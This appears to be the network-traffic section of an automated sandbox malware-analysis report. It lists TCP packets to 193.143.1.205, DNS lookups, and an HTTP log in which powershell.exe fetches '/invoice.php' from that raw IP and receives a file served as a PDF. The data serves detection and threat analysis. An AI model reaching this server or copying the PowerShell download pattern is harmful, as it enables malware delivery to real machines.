Jan 11, 2025 07:31:29.461175919 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.461208105 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.461241961 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.461256981 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.461276054 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.461314917 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.464318037 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.464348078 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.464397907 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.464416027 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.464454889 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.464488029 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.464513063 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.464524031 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.464556932 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.464571953 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.464596033 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.464628935 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.464641094 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.464664936 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.464698076 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.464723110 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.464731932 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.464772940 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.464786053 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.464839935 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.464874029 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.464906931 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.464907885 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.464940071 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.464956045 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.464988947 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.465023994 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.465030909 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.465055943 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.465092897 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.465099096 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.465126991 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.465162039 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.465167046 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.465194941 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.465229034 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.465240955 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.484878063 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.484910965 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.484945059 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.484978914 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.484977961 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.485028982 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.492610931 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.492640972 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.492674112 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.492706060 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.492702961 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.492746115 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.492786884 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.492824078 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.492854118 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.492893934 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.492938995 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.492944956 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.492980957 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.493012905 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.493021965 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.493046999 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.493082047 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.493088961 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.509053946 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.509090900 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.509130001 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.509144068 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.509177923 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.509188890 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.509212971 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.509248972 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.509265900 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.509283066 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.509326935 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.518868923 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.518903017 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.518938065 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.518979073 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.518979073 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.519026041 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.519030094 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.519066095 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.519098997 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.519107103 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.519130945 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.519165993 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.519170046 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.519259930 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.519301891 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.627788067 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.632893085 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.632905960 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.632920027 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.632930040 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.632941961 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.632952929 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.632963896 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.632972956 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.632977009 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.632989883 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633001089 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633013010 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633016109 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.633034945 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633037090 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.633054972 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633066893 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633074999 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.633079052 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633090973 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633102894 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633102894 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.633117914 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633130074 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633136988 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.633141994 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633153915 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633157015 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.633171082 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633182049 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.633188963 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633200884 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633212090 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633225918 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633233070 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.633240938 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633254051 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633256912 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.633266926 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633268118 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.633279085 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633290052 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633296013 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.633301973 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633325100 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.633328915 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633342981 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633347034 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.633354902 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633367062 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633378029 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633378029 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.633389950 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633402109 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633404016 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.633414030 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633424997 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633433104 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.633451939 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.633455038 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633467913 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633480072 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633491993 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633493900 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.633503914 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633512974 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.633517027 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633539915 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.633591890 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633604050 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633615017 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633625984 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633631945 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.633639097 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633642912 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.633671999 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.633770943 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633781910 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633800983 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633812904 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633819103 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.633826017 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633836985 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633848906 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633848906 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.633892059 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.633903980 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633917093 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633929014 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633960962 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.633980989 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.633985043 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.633996964 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.634008884 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.634018898 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.634031057 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.634032011 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.634047031 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.634059906 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.634103060 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.634134054 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.634146929 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.634157896 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.634169102 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.634181976 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.634186029 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.634195089 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.634206057 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.634211063 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.634217978 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.634228945 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.634228945 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.634248018 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.634254932 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.634282112 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.634293079 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.634294033 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.634308100 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.634320021 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.634330988 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.634331942 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.634345055 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.634355068 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.634377956 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.634708881 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.634720087 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.634732962 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.634752035 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.634804964 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.634816885 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.634829044 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.634845972 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.634848118 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.634862900 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.634865999 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.634881973 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.634892941 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.634903908 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.634916067 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.634916067 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.634927988 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.634939909 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.634941101 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.634967089 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.634984970 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.635016918 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.635029078 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.635040998 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.635051966 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.635063887 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.635076046 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.635077953 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.635097980 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.635123014 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.635309935 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.635324955 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.635337114 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.635379076 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.635390997 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.635402918 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.635405064 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.635415077 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.635422945 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.635428905 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.635441065 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.635467052 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.640633106 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.640645027 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.640682936 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.640686035 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.640696049 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.640729904 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.640741110 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.640753984 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.640764952 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.640777111 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.640798092 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.640821934 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.641163111 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.641175032 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.641185999 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.641210079 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.641252041 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.641263962 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.641282082 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.641293049 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.641293049 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.641307116 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.641316891 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.641324043 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.641355038 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.685267925 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.871016979 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:30.185673952 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:30.650120020 CET	49737	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:30.654999971 CET	8888	49737	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:30.656130075 CET	49737	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:30.656354904 CET	49737	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:30.661201000 CET	8888	49737	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:31.475140095 CET	8888	49737	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:31.529037952 CET	49737	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:32.428397894 CET	49737	8888	192.168.2.10	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:31:38.500509977 CET	50295	53	192.168.2.10	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 07:31:38.500509977 CET	192.168.2.10	1.1.1.1	0xc254	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 07:31:38.507802963 CET	1.1.1.1	192.168.2.10	0xc254	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 07:31:39.199410915 CET	1.1.1.1	192.168.2.10	0x3d2c	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:31:39.199410915 CET	1.1.1.1	192.168.2.10	0x3d2c	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49720	193.143.1.205	80	8148	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:31:28.021533012 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 07:31:28.845228910 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:31:28 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type 